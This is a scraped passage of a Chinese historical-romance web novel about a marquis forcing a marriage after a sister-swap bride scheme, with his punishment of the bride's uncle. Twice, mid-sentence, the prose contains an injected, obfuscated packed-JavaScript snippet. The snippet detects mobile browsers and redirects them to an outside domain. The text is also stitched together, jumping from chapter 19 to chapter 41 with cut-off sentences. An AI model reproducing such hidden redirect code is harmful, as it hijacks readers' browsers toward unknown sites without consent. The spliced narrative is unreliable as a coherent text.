她房里亮着灯,窗子半开着,夜风漫进房中,淡淡的书香伴着灯的烟火气则飘了出来。 他看过去,恰看到了她正坐在书案前。 男人脚下立住不动了,见她先是左手支了脸颊,右手翻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他就立在她身旁未动。 这里是西安,是他的地盘,是她自己闯进来的,还闯到了他眼前。 西安乱些,比不得青州,她离开书摊往前走,他便跟着她。 她竟什么都没见过,见人用羊骨雕花,她不禁眨着眼睛看,却不敢去买,见外邦人弄来几只稀罕的鸟儿在肩上,问她要不要喂,她连退两步... ... 他终于忍不住笑了一声,被她听见竟看了过来。 她怔了怔,她却还是没认出他来,只羞赧地跟他这个“路人”解释,“我第一次来西安。” 她还敢主动跟他说话? 那他为什么不接? 然而他还没开口,秋霖突然跑来了。 “姑娘,找到三爷了!” 秋霖唤来,她立时抬头看去,直接抛下他这“路人”,快步走去了路另一边。 “三郎你去哪了?西安人生地不熟,风又冷又烈,你怎么在外一天没回来?” 她连声问去刚回来的人。 是蒋竹修。 蒋竹修低咳着跟她道了歉,“是我的不是,让你找了一天。” “那你到底做什么去了?” 她只关心走出去一整日的人。 蒋竹修没立时回答,从袖中取出一盏小灯来。 “这是?”她疑惑。 蒋竹修说这是西安有名的灯匠造出来的灯,此灯看似平平,实则灯光不晃眼,最适合晚间挑灯看书。 是给她带来的。 她方才的急切减下三分,但也道,“难道买灯能买一日?” “那自是不能。但我们离了西安这灯就不易得了。”蒋竹修跟她笑着解释,“所以我央求那灯匠师傅教我,只是我手拙,学了一整日。” 她顿了一顿,陆慎如也在街道另一边默了默。 谁最喜欢挑灯看书不言而喻,这才是蒋竹修的本意。 蒋竹修的小厮嘻嘻笑着跟她道,“姑娘,我们三爷一心只想着姑娘!” 蒋竹修斥了他一句,“好了。” 街边,他抿了唇,眼角却扫见她,脸颊红了一红,她忽的叫了蒋竹修。 “冷吗?你身子才刚好一些,我给你暖手。” 她说着,真就握住了那人的手。 街道上的人潮莫名消散殆尽,或许人潮也该将他们从他眼前卷走,但没有。 她再没记得他这个路人,倒是擦肩而过的时候,蒋竹修抬头忽然看见了他。 蒋竹修一怔,与她紧握的手微松,但他却收回目光,径直融进了人群里。 ... ... 澄清坊杜家西院静悄悄的,他立在窗外,见她又点起那灯。 只是秋霖实在看不下去了,“姑娘的眼睛不要了?缘何非要如此用功?姑娘又不考功名?” 她笑了一声,“却要赚钱的。分家之后,没有旁的产业供给,勉楼只能靠着印社。” 分家了? 陆慎如挑眉。 却听秋霖道,“早知如此,至少侯爷送来的聘礼,姑娘该分些留下。” “我要他的聘礼做什么?二妹代我嫁他,她才是那些聘礼的主人。” 话音落地,庭院莫名一静。 窗外的男人沉默地看住了她,却见她似是想到了什么。 “那把钥匙... ...你也给二妹一并送过去吧。” 秋霖应声,拿出一把雕了楼宇模样的铜钥匙来。 陆慎如看去,终是忍不住笑了起来。 蒋竹修给她的灯,她不远千里带在身边,他给她的书楼钥匙,她随便就可以扔给别人。 月色如洗,男人立在窗外,不知默然笑了多久。 18.第 18 章 崇安从没见过侯爷这样默声发笑,又笑得这么久,吓得他不敢跟在侯爷身侧,恰见着有人传了消息过来,连忙往后面去了。 只是他得了消息,又不敢跟侯爷禀告,只能眼神往他哥崇平身上瞟。 崇平无奈只好让他先说了来,转而见着侯爷已收回了笑意,负手立在姑娘窗下,仰头看着天上稀落星辰。 崇平上前低声回禀。 “爷,嫁妆宅院那边,那顾家大老爷顾扬嗣,方才亲自到了。” 顾大老爷顾扬嗣,万老夫人唯一的嫡亲儿子。 男人轻哼一声。 不知怎么,旁边的崇安感觉周遭空气都凉了下来。 他听见侯爷缓声道了一句。 “来的正好。” 崇安莫名替顾家心惊胆战了一息。 只是侯爷又看向了房中。 房中,秋霖不得不走过来劝姑娘,“就算再急着赚钱,姑娘也得要眼睛吧。” 姑娘还是道没事,见秋霖干脆要把灯搬走,连忙拦了她。 “搬来搬去摔了怎么办?此番只带了三郎做的这一盏灯出门。” “姑娘。”秋霖重重叹气。 姑娘则亲手把灯接了下来,“我再做一个时辰就熄灯睡了。” “一个时辰?”秋霖都不知说什么好了。 窗外暗处,崇安见侯爷缓缓收回了目光。 下一息,窗外忽然旋起一阵风来。 半掩的窗户被风顶开,窗棂吱呀一响的同时,有什么掠进窗子,砰得一下打在了那灯座上。 角度极其刁钻,那灯倏然熄灭了去。 房中主仆二人皆是一愣,不知方才哪来的风,也不知风里哪来的东西打灭了灯。 秋霖连声唤了阮恭,“姑娘窗外有人吗?” 阮恭快步把前后都看了,“没人呐!什么人都没有。” “奇怪……那可能只是风卷了沙石而已。”秋霖把窗子关了起来。 可是灯灭了,杜泠静想再去点,竟点不起来。 秋霖见姑娘垂着眼帘坐在桌案边,搁下了笔来。 “秋霖,你会修灯吗?” 她嗓音再不似方才那般,此刻像沉入了水底。 秋霖连忙走过来将那灯看了又看,她也不知怎么回事,“不过京城修什么的都有,定有修这种西安灯的,奴婢明日就让艾叶带灯去修。” 杜泠静看着这只莫名点不起来的灯,默了许久。 但秋霖也拉起了姑娘,“灯坏了,正好姑娘不用费眼了,不然真要受不住的。” 杜泠静还是没说话,她抿着唇,倒也起了身。 * 澄清坊另一边的嫁妆宅院中,有人只在巷口立了几息,院中的人什么都没察觉,巷口的人便离开了。 院中,顾扬嗣指使着人手把物什又抬了出去。 “谁要是磕着碰着,别怪我撵他出去!” 他这话跟他母亲万老夫人的吩咐一样,但不同在于,万老夫人要为自己的亲外孙女陪送最精巧的嫁妆,而顾扬嗣却让人原样地把这些好东西又抬了出去。 实在不怪他不给外甥女体面,是他昨日听闻此事,过来亲眼看了一趟,竟见着自己母亲忒般舍得,。 确实外甥女要做侯夫人了,但她做了侯夫人什么荣华富贵没有,自己母亲却还给她陪送这么多嫁妆。 而顾扬嗣被之前的事闹得无人寻他办事,手头立时紧了起来。 这些好东西,与其便宜了外甥女,倒不如留在他手里算了。 至于母亲那边,反正也是送出去的,送给谁不一样,不若都给了他。 顾扬嗣今晚又来了,他也在附近临时典了个院子,让人把东西抬去他的院子里,又吩咐了众人。 “这事谁都不许告诉老夫人,”他说着又补充,“任何人都不许说,就当你们不晓得,全都烂在肚子里。” 他是大老爷,谁敢不听他的话?这便把刚抬进来的东西,转身又吭哧吭哧往外搬。 顾扬嗣心绪甚佳,要是开口跟母亲要钱多有难堪,眼下把东西典了卖了就方便多了。 他连番催促人动作快些,别被人发现。 谁料就在这时,原本漆黑的小巷子里,忽的灯火通明。 只见一众官兵高举着火把,小跑着直奔顾扬嗣一行人脸前。 顾扬嗣还不知道发生了何时,但他只恐被人认出来,连忙往后躲去。 这时当头的官兵亮了牌子。 “顺天府行事。这里可是杜家放置陪嫁的院子?” 这是个大家都知道的事,有人回了一句。 “正是杜家典的宅子。” 话音落地,那当头官兵直接问来。 “那你们又是什么人?” “我们是... ...当然是杜家的人。” 当头的官兵笑了起来。 “杜家的人?半夜里不守着嫁妆,反而往外搬嫁妆?我看你们这群人,是贼人吧?” 他忽的叫了身后的官兵,“给我全部拿下!” 顾扬嗣还没来得及反应,竟被人绑住了胳膊,押去了顺天府衙。 ... ... 昨晚出去的人手没回来,今早万老夫人就知道了。 只是她老人家万万没料到,“你说大老爷也在?他为何在?” 来人哪敢直说,他昨晚出去撒尿,可巧躲过一劫,这会只道,“大老爷是怕他们做不好事,才去亲自看着的,没想到竟被当成贼抓了!” 小厮还想为顾扬嗣遮掩,谁知万老夫人茶盅直接砸到了他脸前。 “还敢不说实话?!” 热茶烫得小厮双手都抖了起来,万老夫人淫威逼人,他再顶不住,把实话说了。 实话一说,一旁的梁氏不禁捂了嘴。 自己丈夫居然想贪外甥女的陪嫁。 她脸都跟着烫了起来,万老夫人则似被枣子卡了嗓子,半晌没说出话来。 “... ...丢人的东西... ...那他现在如何了?” 那小厮刚从顺天府大牢里,得了顾扬嗣递出来的信,“老爷请老夫人速速打点些银子,道是误会,让顺天府赶紧放人。” 顾扬嗣实在是没好意思通报自己姓名,不然他好歹也是荫了官在做,被人知道岂不笑话死。 万老夫人头痛,当即吩咐了管事速速把人弄出来。 又嘱咐,“可别被人知道了。” 一来实在丢脸,二来替嫁的事情被发觉,要生波澜的。 谁知管事不时去而复返,一脸尴尬地跟老夫人摇了头。 “顺天府说被抓的人身份不明,说咱们大老爷没承认是顾家大老爷,恐另有隐匿,不能放人。” 万老夫人惊讶,她想把人偷偷赎出来竟然没能成。 难不成还要她亲自去领儿子回来? 正想着,外面忽又传了话,“老夫人,不好了,顺天府衙门贴了告示,让百姓都去认人。那告示上,就画了咱们家老爷的画像!” 顾扬嗣不肯承认自己是自己,官府却把他的画像直接贴了出去。 万老夫人眼前都黑了一黑,哪还犹豫,只盼看见画像的人越少越好,换了衣裳就去了灵椿坊的顺天府署。 然而到了府衙门前,就看到满街的人都围着告示牌,朝着上面的画像指指点点。 “呦,这怎么瞧着,像是黄华坊顾家的大老爷!” 那画像画的极好,人一眼就能瞧出来。 万老夫人只赶紧让人往后面去,又递帖子上前,先请见顺天府尹。 谁料事情就像是在跟她故意兜圈一样,顺天府尹竟然不在,道是出城去了。万老夫人没见到堂官,下面的人则都不能做主,只道最多能看在她老人家的面子,把告示上的画像撤下来。 那画虽然撤了,可那么多人都看见了,更有眼尖的,一眼瞧见了万老夫人的马车。 万老夫人没接出儿子,反而回到府邸,就听到了京中传闻四起。 旁的最多就是丢丢人,可最要紧的,已经有人怀疑了起来。 “那是杜家的嫁妆宅子,顾家人在里面进出做什么?难不成他们想把杜家大姑娘换成二姑娘,让二姑娘去做侯夫人?” 这猜测一出,满城风波大起。 原本杜家姑娘的亲事就在风口浪尖上,这下已没人能阻得了传言,只半日的工夫,恨不能满京城都知道万老夫人想嫁自己的外孙女给陆侯爷。 梁氏不知所措,一边赎不出大牢里面的丈夫,一边听着满城风雨都压到了宅门前。 “娘,这可怎么办?明眼人都看出来了,只怕宫里和侯府也都知道了。” 到了这种时候,万老夫人反而沉了一口气,定下了心来。 她让管嬷嬷给她揉了额头,自己端起茶盅先饮了一口,才道。 “既然都知道了,那也不必瞒了。随便他们爱怎么说去,我只看宫里和侯府的意思。” 宫里要是不来人,就是默认杜家随便嫁哪个女儿,反正都是杜一敬的孙女,圣旨原就是如此。 然后再看侯府,宫里都不管,那就是两个姑娘都可以,就看侯爷想要娶谁了。 杜家大姑娘虽有个阁老父亲,但杜阁老已过世多年;二房自是不够显赫,可二姑娘却是万老夫人的亲外孙女。 翌日一早,杜致祁就带着女儿杜润青到了万老夫人的荣语堂。 父女俩也如梁氏一般,对突如其来的变故满心无措。 杜致祁担心宫中,“皇上会否不悦?毕竟圣旨落下那会,青儿还未及笄。” 万老夫人瞥了他一眼,“你想的太多了。宫里才懒得管你们家这些细碎琐事。” 她道,“若是宫里不满,这会日头,也该有公公下来提点,你可见了人?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15132789|163533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 不管是杜家还是顾家,都没有宫里的人来。 杜致祁略松了口气。 但杜润青却低声问了自己外祖母,“那侯爷那边,也会认我吗?” 万老夫人跟她招了手,揽了她到怀里来。 “你忘了侯爷从前怎么帮你的?你同侯爷缘分前定,侯爷会不要你,非娶你姐姐吗?她只是个无依无靠的孤女,身上是留些你伯父的名头罢了。她此番又执意分家,你们两房一分家,她更是什么都没有了。而你还有外祖母。” 明眼人都知道怎么选最实惠。 这话终于让小姑娘心思定了定。 直到日上三竿,宫里也一点动静都没有。 杜致祁整个人都松快了起来,万老夫人也笑了,杜致祁恭维她,“岳母大人到底是京门月老,拿捏得准。” 万老夫人眉眼舒展,只让人多盯着侯府。 宫里不管,就只看侯府的意思了。 只是侯府什么动静都没有,如此这般直到日头西斜,外面突然传了消息,说是锦衣卫北镇抚使司来了人,把顾家大老爷从顺天府提走了。 锦衣卫平白无故,提顾扬嗣做什么? 杜致祁奇怪,万老夫人倒还坐得住。 “魏指挥使不在京中,必不是他授意。眼下提人的是北镇抚使,我没记错的话,北镇抚使是永定军出身的吧?” 永定军出身的北镇抚使,陆慎如的人。 这下不用万老夫人解释,连京城大街小巷里的闲杂人等都猜到了。 “看来侯爷已经选定了。” “侯爷选了谁?” “那自是杜家二姑娘呀?这不是急着就把未来的舅爷请走了吗?直接让顺天府放人兴许怕舅爷尴尬,往锦衣卫走一圈么... ...给了协助办案的名头,倒也好听。” 众人恍然,“也是,放着万老夫人的外孙女不选,谁会选个孤女?什么用也没有。” 街边,菖蒲正奉命打探消息,听见这话气不打一处来。 “你们也太瞧不起人了,有本事去千兴坊赌一把,看侯爷选谁!” 众人看他都好笑,“怎么,你是杜家大姑娘的人?” 菖蒲不说,只掏出十两银子来,“你们敢不敢?” 有人直道他是个傻子,但傻子的钱为何不要呢?还真有不少人跟他去了千兴坊,把家底都押了上去。 阮恭找到菖蒲的时候,见他把裤腰带都押了,又听说他押了自己姑娘嫁侯爷,照头给了他一巴掌。 “姑娘一门心思想回青州,你押姑娘是什么意思?存心同姑娘作对?” 菖蒲委屈得不行,“恭爷,我这不是气不过吗?他们凭什么都去捧那万老婆子的臭脚,看不上我们家姑娘!” 这话竟说得阮恭心下也是一滞。 他松开了菖蒲,“算了算了,等此事了了,咱们回了青州,再不同这些势利小人牵扯。” 两人不时回了澄清坊里,跟杜泠静回话。 阮恭道,“外面说什么的都有。但说侯爷让北镇抚使提走了顾大老爷,是有意照拂,那多半是同意迎娶二姑娘了。” 这话说得杜泠静不禁点了头,“希望如此。” ... ... 黄华坊顾府。 万老夫人使了人去锦衣卫门口等着,她料想晚间儿子也该出来了,就立时接回家来。 谁知这一等又等,天都黑透了,人也没接回来。 万氏眼皮抽跳了两下。 杜致祁也隐隐觉得不太对劲,侯爷若真是把“未来舅爷”请走,不让人晚间回家,难道还留他过夜不成? 他干脆带着女儿也留了下来,今晚总会有消息。 众人就在荣语堂里等着。 从夜幕四合等到夜半三更,消息始终不来,直到东面天色微微泛白。 顾家的管事忽然裹着血气跑了进来。 众人纷纷朝他看去,万老夫人急问,“如何情况?” “回老夫人,北镇抚使扣着咱家大老爷没放,但透了消息出来,说是咱家老爷,涉嫌通敌!” “什么?!”万老夫人险些没站住,“那他人到底怎么样了?!” 杜致祁也惊诧不已,杜润青更是白了脸色。 梁氏急催管事,“快说呀!” 管事没立刻开口,反而从怀中取出一件腥气扑鼻的血衣来。 他颤手将血衣放在了地上。 “北镇抚司的人说……” “说什么?!” “说、说是侯爷亲自发的话,咱家大老爷在诏狱里... ...快被打死了!” 话音落地,万老夫人咣当倒在了身后圈椅上。 杜致祁看着那腥气四溢血衣,两眼发晃。 杜润青则愣住了,小姑娘再没想过这等结果,她嗓音颤着。 “怎么会?侯爷怎么会?!” 19.第 19 章 “怎么会?侯爷怎么会?!” 小姑娘不能想象,那般温柔的侯爷,怎么会亲自发话,几乎把舅舅打死! 她转身就要往外去,“我去侯府寻侯爷!侯爷跟我说过,什么事都可以找他,我求了他放了舅舅... ...” 她当真要去,杜致祁连忙将女儿拦了下来。 “去不得!侯爷也不会见你!” “为什么?侯爷以前不是这样的... ...”小姑娘还是不能相信。 杜致祁不知道要怎么跟女儿解释,姐妹换嫁引出那位陆侯的怒火,都烧到了顾家身上。 他看着女儿哭红的眼睛,恼怒地叹气。 “侯爷他... ...只要你姐姐!” 小姑娘倏然定在原地。 * 澄清坊杜家,没过多久也得到了消息,整个府邸都沉默了下来。 连风丝都没了,之余逼近深秋的冷气沉沉压着。 锦衣卫北镇抚司没有放了顾扬嗣,反而以通敌之名用了刑,人快不成了。 其中之意,已十分明显。 小厮菖蒲不知道自己该笑,还是该哭,在满府尤其是自家姑娘的沉默里,找了阮恭。 “要是侯爷真的非娶姑娘,我就把我赢的钱,都给姑娘吧,能让姑娘好受点吗?” 阮恭踢了他一脚,“别添乱了。” 正这时,门房的文伯让小厮传话,说外面突然来了人,是来见大姑娘的。 阮恭赶紧前去询问,谁知一见来人吓了一跳。 “您是... ...永定侯府的大总管,宗总管?” 阮恭还是小厮的时候,曾在京城远远地见过这位老总管一回。 这可是永定侯府的大总管,京里京外多少人寻他办事,难见的程度堪比侯爷。 阮恭脑子嗡嗡,不知侯府的大总管亲自来做什么? 不想这位大总管却是宽和好说话的模样,竟还叫出了他来。 “是阮管事吧?我是奉侯爷之命特地过来的,有物件给姑娘。” 言下之意,最好当着姑娘的面。但阮恭让菖蒲跑了一趟,杜泠静并没来。 但那大总管也并不生气,仍旧笑着,让人捧了东西上前。 装那物什的匣子不算大,宗总管让人打开了来,阮恭一眼看过去,愣了一愣。 “这是... ...” “侯爷听闻姑娘安置嫁妆的院子遭了贼,怕姑娘大婚之日的喜服来不及备办,让侯府针线上连夜赶制了一身,由在下特特给姑娘送过来。” 他道,“届时,姑娘穿这身嫁衣上轿就好。” 竟是嫁衣。 阮恭接了,那位大总管也没多留。他连忙侯府给的喜服去了西院,秋霖接过来翻了翻。 她怎么瞧着,不似连夜赶制的,用料极费,针脚细密,纹样繁复,少说也得一两月才能制出来,说不准还要小半载的工夫。 但此刻说这话没意义。 重要的是,因着姐妹换嫁,原本二房给大姑娘准备的喜服,已经临时改小成了二姑娘的衣裳。 这衣裳裁小容易,改大却不能了。 但姑娘根本就不想嫁,当然无意思量此事,可侯府却把嫁衣送了过来。 秋霖轻轻将嫁衣捧到了姑娘眼前。 杜泠静看过去,眼睛被那娇艳的颜色晃了一晃,金丝镶边,珍珠缀领。 她不知怎么竟勾起嘴角笑了一笑。 他这是,要让她身上穿着他给的嫁衣,嫁给他吗? 他就... ...非要她嫁。 * 黄华坊顾府。 梁氏的眼泪止不住地流,府里花了许多钱去锦衣卫打点,锦衣卫都不肯放人,有使人往侯府去,别说侯爷了,连大总管都没见到。 梁氏不知如何是好,看着刚醒过来的婆母,“娘... ...” 万老夫人倒是彻底醒了过来,她叫了管嬷嬷给她换衣裳。 “我要去宫里。皇上最是慈和,不会坐视不管。” 顾家往宫里递了牌子,万老夫人也立时赶到了宫门外,只要宫里应允,她立时进去。 她不敢等,再等只怕儿子要没命了。 谁料过了一个时辰,宫里也没应允,她急急使钱往里面打探,半晌,才得了一句话。 “皇上今儿累了,老夫人回去吧。” 皇上没见。 万氏浑身的冷汗都冒了出来,脚下再也立不住,就在宫门口,当着满街看热闹的人的面,脚下一软倒了下去。 “呦!宫里没见万老夫人,万老夫人这是快昏死过去喽!” 耳边尽是议论之声,可万老夫人都听不见了。 她只想知道这可要怎么办? 难不成她这唯一的儿子,真要死在锦衣卫诏狱里?!陆侯真因为这点事杀人不成? 怎会如此?!她到底弄错了?! * 积庆坊。 宗总管刚折返回侯府,府里一切照旧,只是有别于前两日的喜庆热闹,这两日气氛沉了许多,每个人都低声做事,不敢闹出半点动静来。 宗总管亲去外院的书房里回了话。 男人正负手立在窗边,宗总管上前行礼,他这才转头问了一句。 “嫁衣送到了?她收了吗?” 宗总管连连道是,他又问,“那她... ...怎么说?” 宗总管闻言看了侯爷一眼。 “姑娘并未出来见面。” 话音一落,便见侯爷眸色又是一沉,男人沉默着,面上染了几分不易察觉的闷色。 宗总管暗暗叹了一气,只得道。 “但姑娘也没拒了衣裳,杜家眼下没有姑娘的嫁衣,姑娘定会穿着侯府备下的这一件,嫁给侯爷的。” 他这般说,才觉气氛浅浅缓了一分。 崇平忽然来报。 “侯爷,贵妃娘娘有请。” * 紫禁城,毓星宫。 陆慎如刚到,便一眼瞧见了连廊下拐角处,立在松叶枝杈间的小人儿。 虽是八岁的年纪,已单独开宫居住,但身量比旁的孩子稍稍单薄了些。此刻被松间秋风一吹,越发显得细瘦。 陆慎如眼色不禁柔和了下来。 “殿下。”他唤了一声。 是慧王。 只是不知这声逆着风被吹散了,还是怎样,小皇子没能听见。 陆慎如不得不走了过去,一直走到了他身后,细看了他一眼。 “殿下想吹笛子?” 小皇子手里正拿着一只竹笛,他这次听到了陆慎如的问话,连忙转过身来。 “舅舅。” 舅甥见了礼,小慧王白皙的面上露出些羞赧。 “只是瞧着有趣却不会吹。母妃说舅舅善笛,最爱在西北风沙里的马背上扬声吹笛。” 他仰头看向陆慎如,一双眼睛睁得大大的。 陆慎如目露爱怜,抬手摸了摸他的肩。 “殿下想学笛子还不容易,我改日专门来教殿下。” 小皇子乖巧地点起头来,接着想到什么,又连忙道。 “母妃在殿里等着舅舅了。” 陆慎如又跟他说了两句,就转身去了大殿中。 贵妃陆怀如就坐在殿里,见弟弟来了,待他行礼落座,便道。 “那顾扬嗣,你就放了吧。” 殿里只有姐弟二人,陆慎如端起手边的茶吃了起来。 只一味吃茶,却不说话。 大殿里静悄悄的,窗边的细风吹得纱幔缓缓飘着。 上首的贵妃娘娘叹了口气。 “皇上今日叫了我过去,尝尝江南新来御厨做的点心。”她道,“皇上说,先皇的万妃娘娘便是江南出身,做得一手好点心,先皇喜爱,连皇上从前也跟着吃过几回。” 她说着,看向下首一味吃茶的弟弟。 “你当皇上为何突然跟我提起万妃?” 皇上生母早逝,万妃膝下无子,万妃自然想将皇上要到自己膝下,只是不知为何先皇没应允。 但因着如此,万妃生前也对皇上颇多照应。 陆怀如见弟弟终于放下了手里的茶盅,这才道。 “杜家姐妹互换的事情,皇上虽然没理会,却特意叫我过去说了这话。这便是给万老夫人留着体面了。” 她道,“皇上尚且如此,何况你我?” 她说过去,见弟弟手里茶盅放了下来,却也闭起眼睛一副养神模样。 她不禁叫了他。 “惟石... ...” 陆慎如的字。 话音落地,男人这才睁开了眼睛。 “若不顾及此,那顾扬嗣早就死了。万氏自诩京门月老也就罢了,敢给我随便牵线。” 他忍不住哼笑了一声。 陆怀如在上首捏了捏额角。 皇上这几年乐于给文武百官的子弟指婚,万老夫人恰就投中皇上所好,多得了几分脸面。 她牵线旁的人家也就罢了,偏偏扯到了自己这弟弟手腕上来。 惹谁不好,偏惹他。 陆怀如自眼角多瞧了弟弟两眼。 她轻声,“万老夫人确实过了些。但是一个巴掌拍不响,说到底,是杜家大姑娘心里念着旧人不肯忘,其实,你就不该强人... ...” 话还没说完,忽被弟弟打断了去。 “娘娘慎言。” 大殿空旷无声,只剩窗边的纱幔被风推着飞舞了两下。 姐弟二人相互对视一眼,都转过头去,不再言语。 陆怀如喝了口茶,忍不住嘀咕了一声。 “还不许人说了... ...” 她声音虽轻,耳力极佳的陆侯却还是听到了。 “娘娘想说什么?” 他转头直直往上座看去。 “臣的婚事,臣与她,皆名正言顺。” 这话一出,大殿里又静了下来。 男人绷了嘴,贵妃 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万老夫人差点一口气又没上来,旁的她已经管不了了,她只怕自己唯一的儿子断了气。 而杜润青见到自己舅舅已经没有一块好皮,满身都是血,还是有些难以置信。 这真是侯爷的授意吗? 杜致祁但见舅兄回来,便也不欲在顾家多留,连忙拉着女儿走了。 父女二人刚回到家里,就听说宫里来了人。 “是什么人?”杜致祁吓一跳。 小厮忙说是贵妃娘娘派来的宫里的姑姑,“来给咱们大姑娘添妆、梳妆。” 话说得一旁的杜润青愣了愣。 杜致祁却想到了旁的。 “嫁衣怎么说?”家里的嫁衣给青儿改过后,静娘是穿不上了。 但小厮却回他,“侯府已料到,昨儿宗大总管亲自过来,给大姑娘送来了喜服。” 杜致祁愕然。 杜润青却彻底怔住了。 原来,侯爷真的只要娶姐姐。 他给姐姐,连喜服都准备好了。 ... ... 西院。 一眼望去满满当当的喜仪用物,塞得人眼睛酸涩胀痛。 杜家没有这么多东西,许多是这两日侯府陆续送过来的,不知怎么,杜泠静只觉得所有的东西都沾着他的气息,驱而不散地拥在她身侧。 她真不明白,他为什么非得要娶她? 是不是坐上了他这样的高位之上,越觉得不可得的才最有意趣? 她这么一想,有点恍然。 历来权臣贵胄,似乎都是如此。 那人人簇拥逢迎的陆侯,岂能例外? 杜泠静暗暗摇了头。 秋霖却数着所剩无几的时辰,都快哭了出来。 “姑娘这般嫁过去,那侯爷... ...会不会折磨姑娘?” 杜泠静笑了笑,“那也是没办法的。” 她对那侯爷多有不逊,又想通过换嫁蒙骗于他,眼下全被他发现,岂能安好? 秋霖更愁得红了眼睛。 “那他会不会明晚大婚当日,就强迫姑娘圆、圆房?” 就像传闻中的鞑靼歌姬一样,迫着姑娘通宵承他“恩宠”,早早为他诞下子嗣? 秋霖想到着握紧了杜泠静的手。 “姑娘,咱们还能跑吗?” 杜泠静看着满院的物什、宫里来的姑姑,还有院外巡防的侯府侍卫。 她缓缓摇了摇头,“恐怕一时跑不了。” “那怎么办?” 深秋的凉意从墙角地缝里漫出来,杜泠静肩头发凉,她抿了抿唇。 “只能走一步,看一步了。” * 积庆坊,永定侯府。 陆慎如站在婚房中瞧着老嬷嬷们替他铺床,不禁道了一句。 “嬷嬷们把床铺厚些吧。我平日睡硬惯了,但她却... ...别硌着她。” 不想这话引得嬷嬷们都笑了起来。 “侯爷放心,夫人再娇嫩,这床也是睡得的。” 众人都笑,直笑得侯爷脸上热了热。 好在有嬷嬷赶了他,“侯爷放心交给我们,快去换喜服吧。” 男人连忙去了。 不时喜服换好,红绸披肩,珊瑚发冠定在浓密乌发上,满室灯火映得他通身泛光。 外面天色白亮起来,崇安快步跑到门前,一嗓子喊了过来。 “侯爷,吉时到了!” 男人英眉之下,眸光一亮,迎着初绽的日光,阔步走出了门去。 别说陆家的积庆坊,杜家的澄清坊,整个京城内城都挤满了人。 永定侯陆侯爷今日,要娶侯夫人了! 40-50 第41章 “……不好总让侯爷破费。” 歇脚的茶馆, 杜泠静吩咐了阮恭去结茶水钱,这话说完,自眼角偷偷看住了一旁的那位侯爷。 整个茶馆都静了下来, 茶馆掌柜手下的算盘珠子都拨不动了,阮恭一时没能迈开结账的脚, 周遭一切仿佛凝结住了一样。 杜泠静极轻地眨眼看向那人。 男人听见她那话, 不禁深吸一气压下胸口气闷,只是转头看去,却一下捕捉到了她瞧来的目光。 “夫人是故意如此吗?” 他忽然开口问去,杜泠静心下一顿。 一边暗道他反应真是敏锐, 另一边心想他这闭口禅总算结束了,开口说话了。 可她却神色未动分毫。 她嗓音淡淡的, 一如平日,“侯爷在说什么?没明白。” 她这话问过来,还甚是自然地看了他一眼。 陆慎如一时间竟没分辨出,她这句问话又是真是假。 他不禁细细看去她的神色。 白皙的脸上, 长眉之下, 她眸色如常, 羽睫如扇轻轻扇动,秀鼻下柔唇微抿, 看起来一脸正色,非是有什么故意之姿。 不过她刚才, 分明偷看了他一眼。 陆慎如没想过,自己还有读不出她心思的一日, 拧眉瞧她。 好在这会的工夫,崇平先于阮恭把茶水钱付了。 账一结,杜泠静再“客气”也不成了。 男人还是不确定她方才的意图, 但也稍定了口气,轻哼着起了身。 杜泠静跟在他身后,听着他方才哼声,又见他冷着脸,脚下的步子都跟着带起不悦的冷风来。 真怪。杜泠静看着他翻身上了马,显然是还在生气,打马的力道都重了些,马儿吃痛向前奔去。 他真就是因为旁人跟他客气,才生了气? 自然,应该不是所有的旁人,而是她…… 杜泠静见他都快遥遥跑远了,才上了马车。 这段路缓,仍旧换回了阮恭驾车,但崇平亦被他留在她身边随侍。 马车摇摇晃晃向前行去,杜泠静在车中跟随着马车,思绪也摇晃起来。 她不由想起,嫁给他这些日以来的事。 先是要将归林楼给她,说什么都非要她收下,为她开楼藏书,一呼百应,阵仗大得无人不知无人不晓; 之后她点头愿意与他行完周公之礼,他却转身就出了门去,不时就让丫鬟给她送来新衣,又让宗大总管亲自来请她,往漱石亭赴他之宴; 再到这次,她先是不想与他利益冲突,留了信离开,他竟亲自赶去了保定,却又生气不跟她说话,但这么大气,她端茶倒水他就消了气原谅了他,可转头她不过是没告诉他生病之事,这次气得竟更重了,气鼓得像夏日池塘里的蛙…… 堂堂永定侯,旁人眼中他重权在握、威风凛凛,怎么行事又怪又好笑? 杜泠静想着这些事,撩了车帘往窗外看了一眼。 他早就跑没了影,只留下崇平陪她慢行,但似乎有使人传了信回来,道是要往另一边的岔路上去。 杜泠静往车窗外看,车内秋霖偷偷打量了自家姑娘。 她见她脸上虽还有病色未落,但秀长的眉间舒展,眸色似从冰封下流淌而出的春水,分明天气冷寒,她眼中却似春水映着日光,透出点点的暖意。 她在笑,双唇轻抿着扬起一道浅浅的弧线,不知想到了什么,又轻轻摇了摇头。 秋霖愣了愣,她上次见姑娘如今日般的神色,还是老爷在世的时候。 那时姑娘徜徉在书海之中,无忧无虑…… 或是被她的愉悦影响,秋霖也缓了神色,“姑娘别总开着窗子,病还没好利索。” 她说着又给她盖了毯子在身上。 杜泠静倒不觉得冷,这会见着马车果然按照某人吩咐的岔路,往另一边驶了过去,约莫过了一刻钟的工夫,路过一个小镇。 镇子不大,但路两侧摆满了摊位。 阮恭在外跟她道,“夫人,镇上在摆卖附近的山泉水,您要不要下车瞧瞧?” 听闻有泉水,杜泠静自然下了车,崇平亲自扶她下车。 知道的,崇平是永定侯府的侍卫长,不知道的,还以为是她的陪房仆从。 某人倒是在这里也停了下来,他通身墨袍,在前面背着手闲逛。 